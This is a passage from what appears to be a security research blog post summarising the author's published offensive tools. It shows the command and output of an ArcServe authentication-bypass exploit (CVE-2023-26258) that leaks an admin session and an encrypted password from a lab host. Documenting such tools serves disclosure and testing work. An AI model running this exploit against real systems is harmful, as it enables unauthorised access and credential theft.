[+] Stopping Remote Registry Service
Have a nice day! ^_^
Finally, if the ArcServe version was not patched (CVE-2023-26258) it is possible to exploit an authentication bypass in the management web interface and retrieve the admin creds (ArcServe-exploit.py):
psyconauta@insulanova:/tmp|⇒ python3 exploit.py 192.168.56.10
-=[ ArcServe Pwner by Juan Manuel Fernandez (@TheXC3LL) ]=-
[*] Triggering info leak
[+] AdminName: SEVENKINGDOMS\\vagrant
[+] AuthUUID: 6bf37b8e-ac4f-487d-8d74-d6d0a8d9b8d1
[*] Getting a valid session
[+] Session: AGENTJSESSIONID=CA35EF18A4FF2F85E25538F60C3F7428
[*] Doing an authenticated request to validate if session is valid
[*] Session is valid
[+] Admin: SEVENKINGDOMS\\vagrant
[+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98} // Paste it to the decrypter
Have a happy hacking! ^_^
So here ends the summary of tools that can be found on our GitHub.
This blog post was written by Juan Manuel Fernandez.